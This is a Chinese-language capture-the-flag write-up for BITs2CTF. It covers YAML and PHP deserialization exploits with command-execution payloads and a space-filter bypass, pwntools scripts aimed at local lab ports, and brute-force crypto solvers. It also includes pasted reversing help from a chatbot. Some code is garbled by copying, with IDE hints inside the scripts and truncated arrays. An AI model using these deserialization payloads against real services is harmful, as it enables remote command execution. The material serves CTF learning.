战队名称

Moonquake

比赛排名

总分数：2468

学生组/大一新生组排名：24

总排名：29

战队成员

用户名 山北泉、真实姓名 李林责

题目名称

1、第一步。
2、第二步。
3、第三步。

签到

Yaml 笑传之 CCB

1、分析发现是使用了 yaml.load()，他会解析 python 相关对象从而造成代码执行
2、
构造 Payload：`!!python/object/apply:os.system ["cat ../flag"]`
3、写脚本

```
from pwn import *
import base64

payload_yaml = '!!python/object/apply:os.system ["cat ../flag"]'
payload_b64 = base64.b64encode(payload_yaml.encode('utf-8'))
payload_b64.decode('utf-8')
p = remote( host: '127.0.0.1',  port: 19221)
prompt = p.recvuntil(b'> ')
print("程序提示:", prompt.decode())
p.sendline(payload_b64)
print(p.recv().decode('utf-8'))
```

听说你学过工程制图？（未解决

1、压缩包根据提示猜测是年月日，用 AAPR 暴力破解发现就是当天，得到两个文件
2、然后放到虚拟机里面莫名其妙发现可以播放（）
3、然后就是两个视频各自截了 49 张图，看了三个小时，最后候选了几个，但是不知道哪里错了怎么交都不对（最后一个单词实在不知道是啥）

```
#'BITs2CTF{YOu_R_R34lly_3ngin33ring_Dr4wing_Y4s03r}'
#'BITs2CTF{YOv_R_R34lly_3ngin33ring_Dr4wing_Y4s03r}'

#'BITs2CTF{VOv_R_R34lly_3ngin33ring_Dr4wing_V4s03r}'
#'BITs2CTF{YOu_R_R34lly_3ngin33ring_Dr4wing_Y4s03r}'
```

babyRSA

1、首先 pq 很接近，直接对 N 开根号，前一个素数是 p，后一个是 q

```
p = sympy.nextprime(secret_num)
q = sympy.nextprime(p)
```

2、把 c1，c2 解出来，用 sage 解二元方程组

```
c1 = F1 + F2
c2 = pow(F1, 3) + pow(F2, 3)
```

```
var('x y')

eq1 = x + y == c1
eq2 = x*x*x + y*y*y == c2
system = [eq1, eq2]

solution = solve(system, [x, y])

print("方程组的解为:")
print(solution)
```

easyAES

1、Key 只有 655535 种可能，直接暴力破解
2、编写脚本

```python
X = 54755426038978086460310747316994556563126341157253266647920514387148480709140
enc_flag = b'K\x04?\'\xc1<\xe0\x15\xd2i\x8b\xb1"9?)\x1a\xb3)\xd6a\xfa\x9c\x84*\x0fi\xf7\xa4\x85\xd2\x1d'
count = 0
# 枚举所有可能的 2 字节组合
for b0 in range(256):
    for b1 in range(256):
        # 生成 32 字节 Key
        key = bytes([b0, b1]) * 16
        key_int = bytes_to_long(key)
        iv_int = key_int ^ X
        # 转为 16 字节 IV
        try:
            iv = long_to_bytes(iv_int, blocksize: 16)
        except ValueError:
            continue
        try:
            cipher = AES.new(key, AES.MODE_CBC, iv)
            plaintext = cipher.decrypt(enc_flag)
            if b'BIT' in plaintext:
                print(plaintext.decode())
                exit()
        except Exception:
            continue
```

```
BITs2CTF{sjcihd_enf_huidjx_hsid}
```

remaining thing

1、低加密指数广播攻击，e 很小

2、多组模数互质，用中国剩余定理

```python
moduli = [N1, N2, N3]
remainders = [C1, C2, C3]
#中国剩余定理
X, _ = crt(moduli, remainders)

M, _ = gmpy2.iroot(X, n: 3)
print(long_to_bytes(M))
```

```
b'BITs2CTF{^_^cRVni_aXinSsd_fJnebvooo^_^}'
```

签顺道

1、放到 ida 中查看

```
if ( !strcmp(s, "f8fqgfm") )
{
  puts(&s__1);
  system("/bin/sh");
}
```

2、输入对应字符串即可获得 shell

```
from pwn import *

p = remote( host: '127.0.0.1',  port: 54106)
prompt = p.recvuntil(b'> ')
print(prompt.decode())
p.sendline(b'f8fqgfm')
p.interactive()
```

```
[x] Opening connection to 127.0.0.1 on port 54106
[x] Opening connection to 127.0.0.1 on port 54106: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 54106: Done
 |==========|
 | BITs2CTF |    哎呦~~  哎呦~~
 |==========|====|   我肚肚好疼啊
            | 之 |     😣😣😣😣
  不要去念, |====|============|
  也不要去搜!    | 签 ~顺~ 道 |
                |============|
 ~~~~ 吼吼吼吼吼吼, 夸脏哦

一生有爱何惧风飞沙!!!
请输入弹幕文本:
>
[*] Switching to interactive mode
哦, 对了
```

3、查看根目录发现 flag

```
cat /flag
BITs2CTF{THaNKs_FoR_6I7S_FL4g_H0uHouH0u_fccd5c471540_gOOd_6ROth3R5_we_4r3hOUhoUHou}
```

noobUnser

1、Pop 链：endpoint->__destruct() -> anything->__toString() -> CTF->__set() -> bits->__invoke()

```php
<?php

class bits{
    private $cmd;
    private $username;
    private $password;

    public function __construct(){
        $this->username = "1diot9";
        $this->password = "BITs2CTF";

        $this->cmd = 'strings\t/fla*';
    }
}

class CTF{
    public $func;

    public function __construct($func_obj){
        $this->func = $func_obj;
    }
}

class anything{
    public $var1 = "aaa";
    public $var2;

    public function __construct($var2_obj){
        $this->var2 = $var2_obj;
    }
}
```

```php
class endpoint{
    public $bits2ctf;

    public function __construct($bits2ctf_obj){
        $this->bits2ctf = $bits2ctf_obj;
    }
}

$b = new bits();
$c = new CTF($b);
$a = new anything($c);
$e = new endpoint($a);

echo urlencode(serialize($e));
?>
```

然后把结果作为 data 参数 post 过去，看回显

2、先用 ls 查看根目录，空格用\t 绕过，然后发现 flag 文件，cat 用不了就用 strings，flag 限制用 fla*绕过，Payload：strings\t/fla*

ChaCha20

1、通过时间戳模一百作为种子，也就是 100 种可能，可以暴力破解

2、编写脚本

```python
def brute_force_flag(k1, n1, encrypted_data):  1 个用法
    # 遍历所有可能的种子
    for seed in range(100):
        random.seed(seed)
        k2 = random.getrandbits(128)
        n2 = random.getrandbits(64)
        key = long_to_bytes(k1 ^ k2)
        nonce = long_to_bytes(n1 ^ n2)
        plaintext = chacha20_decrypt(encrypted_data, key, nonce)
        if b'BIT' in plaintext:
            return plaintext.decode('utf-8'), seed
    return None, None
```

```
BITs2CTF{pyc_reverse_is_important}
```

奶龙与小七之真假奶龙

1、首先用 unluac.jar 逆向得到.lua 文件

encrypt.py 6 aa.lua

D: > CTF > reverse > unluac > aa.lua

```lua
local function encrypt(input)
  if type(input) ~= "string" then
    return "\232\175\183\232\190\147\229\133\165\230\150\135\230\156\172"
  end
  input = string.reverse(input)
  local res = {}
  for i = 1, #input do
    local idx = string.byte(input, i)
    if idx >= 48 and idx <= 57 then
      local num = idx - 48
      local num_enc = (num + 2) % 9
      table.insert(res, num_enc + 48)
    elseif 1 ~= i then
      table.insert(res, idx + res[i - 1])
    else
      table.insert(res, idx)
    end
  end
  return res
end

local cipher = {
  125,
  158,
  51,
  84,
  54,
  171,
  51,
  146,
  56,
  134,
  50,
  51,
```

```lua
print("========================")
print(" |
\229\165\182\233\190\153\228\184\142\229\176\143\228\184\131\228\185\139\231\156\159\229\129\135\229\165\182\233\190\153 | ")
print("========================")
print("\228\189\160\239\188\154\230\136\145\230\152\175\229\165\182\233\190\153\239\188\129")
print
("\229\129\135\229\165\182\233\190\153\239\188\154\230\136\145\230\137\141\230\152\175\229\165\182\233\190\153\239\188\129")
print
("\228\189\160\239\188\154\230\136\145\228\188\154\229\150\183\231\129\171\239\188\140\228\189\160\228\188\154\229\144\151\239\1
88\159")
print("\229\129\135\229\165\182\233\190\153\239\188\154\230\136\145\228\185\159\228\188\154\239\188\129")
print
("\229\176\143\228\184\131\239\188\154\228\189\160\228\187\172\229\136\171\228\186\137\228\186\134\239\188\140\231\156\159\230\1
73\163\231\154\132\229\165\182\233\190\153\228\188\154\229\191\181\229\135\186\229\143\170\230\156\137\230\136\145\232\131\189\2
29\144\172\230\135\130\231\154\132\231\165\158\229\165\135\229\146\146\232\175\173\239\188\129")
print("\232\175\183\232\190\147\229\133\165\228\189\160\231\154\132\229\146\146\232\175\173\239\188\154")
local input = io.read()
local enc = encrypt(input)
for i in pairs(enc) do
  if enc[i] ~= cipher[i] then
    print
    ("\229\176\143\228\184\131\230\178\161\230\156\137\229\144\172\230\135\130\228\189\160\231\154\132\229\146\146\232\175\173\2
    39\188\140\228\189\160\230\178\161\230\156\137\232\175\129\230\152\142\232\135\170\229\183\177\230\152\175\231\156\159\231\1
    54\132\229\165\182\233\190\153\239\188\129")
    os.exit(1)
  end
end
```

2、实在有点看不懂，给豆包解密了

好的，这段 Lua 代码是一个**加密验证程序**，核心功能是：读取用户输入的字符串，通过特定加密规则处理后，与预设的加密结果（`cipher` 数组）对比，验证输入是否正确（若一致则通过验证，否则提示错误）。

一、逆向核心逻辑（反推 `encrypt` 步骤）

`encrypt` 的正向流程是：`原始输入 → 反转字符串 → 逐字符加密（数字特殊处理）→ 得到 cipher`

逆向流程需反向操作：`cipher → 逐元素反推“反转后的输入字符串” → 反转得到原始输入`

关键逆向规则（对应正向逻辑）

设 `cipher` 第 `i` 个元素为 `enc[i]`，“反转后的输入字符串” 第 `i` 个字符的 ASCII 码为 `idx`：

1. **非首字符（i > 1）**：
   正向：`enc[i] = idx + enc[i-1]` → 逆向：`idx = enc[i] - enc[i-1]`
2. **首字符（i = 1）**：
   正向：`enc[1] = idx` → 逆向：`idx = enc[1]`
3. **数字字符（idx 为 48~57，即 '0'~'9'）**：
   正向：`enc[i] = ((idx-48) + 2) % 9 + 48` → 逆向：`idx = ((enc[i]-48) - 2 + 9) % 9 + 48`
   （+9 是为了避免负数取模出错）

```python
def reverse_encrypt_fixed(cipher):
    """
    修正后的逆向加密函数。
    正确处理了数字字符在任何位置都可能出现的情况。
    """
    reversed_input_ascii = []
    length = len(cipher)

    for i in range(length):
        enc_val = cipher[i]
        idx = 0

        # 优先判断：当前加密值是否为数字加密的结果
        # 如果是，直接使用数字逆向逻辑
        if 48 <= enc_val <= 57:
            num_enc = enc_val - 48
            num = (num_enc - 2 + 9) % 9
            idx = num + 48
        else:
            # 如果不是数字加密的结果，则根据位置判断
            if i == 0:
                # 第一个非数字字符，直接等于加密值
                idx = enc_val
            else:
                # 非第一个非数字字符，使用累加逆向逻辑
                idx = enc_val - cipher[i-1]

        reversed_input_ascii.append(idx)

    # 将 ASCII 码列表转换为字符串（这是反转后的输入）
    reversed_input = ''.join(chr(ascii_val) for ascii_val in reversed_input_ascii)

    # 再次反转，得到原始输入字符串
    original_input = reversed_input[::-1]

    return original_input

# 已知的加密结果
cipher = [
    125, 158, 51, 84, 54, 171, 51, 146, 56, 134, 50, 51, 51, 54, 132, 227, 54, 149, 53, 167,
    54, 149, 270, 51, 51, 54, 53, 167, 262, 379, 50, 171, 266, 48, 54, 158, 48, 143, 51, 164
    50, 54, 51, 139, 234, 50, 48, 143, 243, 53, 171, 50, 164, 276, 371, 53, 171, 210, 327, 5
    139, 234, 267, 53, 163, 50, 150, 245, 51, 51, 53, 140, 263, 333, 417, 484, 52, 167, 251,
    324, 390
]

# 执行修正后的逆向函数
correct_input = reverse_encrypt_fixed(cipher)
print("正确的输入字符串：", correct_input)
```

```python
# --- 验证部分 ---
def encrypt_verify(input_str):
    """
    正向加密函数，用于验证逆向结果的正确性。
    这是对原始 Lua 加密函数的 Python 实现。
    """
    if not isinstance(input_str, str):
        return "\232\175\183\232\190\147\229\133\165\230\150\135\230\156\172"

    input_str = input_str[::-1]
    res = []

    for i in range(len(input_str)):
        idx = ord(input_str[i])

        if 48 <= idx <= 57:
            num = idx - 48
            num_enc = (num + 2) % 9
            res.append(num_enc + 48)
        elif i != 0:
            res.append(idx + res[i - 1])
        else:
            res.append(idx)

    return res

# 验证逆向结果
verification_cipher = encrypt_verify(correct_input)
is_correct = verification_cipher == cipher
print("验证结果：", "正确" if is_correct else "错误")

if not is_correct:
    print("验证失败，差异如下：")
    for i in range(min(len(cipher), len(verification_cipher))):
        if cipher[i] != verification_cipher[i]:
            print(f"位置 {i}: 预期 {cipher[i]}, 实际 {verification_cipher[i]}")
```

```
正确的输入字符串： BITs2CTF{W311_d0n3!_Y0u'v3_pr0v3d_70_X140q1_7h47_y0u_r3411y_4r3_4_N4110N6_1u4!1!}
验证结果： 正确
```

故障机器人

1、代码如下

```cpp
#include<bits/stdc++.h>
using namespace std;

int main() {
    int n;
    cin >> n;
    vector<int> a(n);
    int temp;
    for(int i = 0; i < n; i++) {
        cin >> temp;
        a[i] = temp;
    }
    sort(a.begin(), a.end());
    int alive = n;
    long long ans = 0;
    long long mul1, mul2, add1;
    for(int i = 0; i < n; i++) {
        if(a[i] % 3 == 0) {
            mul1 = a[i]/3;
            mul2 = alive - 1;
            add1 = a[i]/3 - 1;
            ans += mul1 * mul2 + add1;
        } else{
            mul1 = a[i]/3 + 1;
            mul2 = alive - 1;
            add1 = a[i]/3;
            ans += mul1 * mul2 + add1;
        }
        alive--;
    }
    cout << ans << '\n';
    // system("pause");
    return 0;
}
```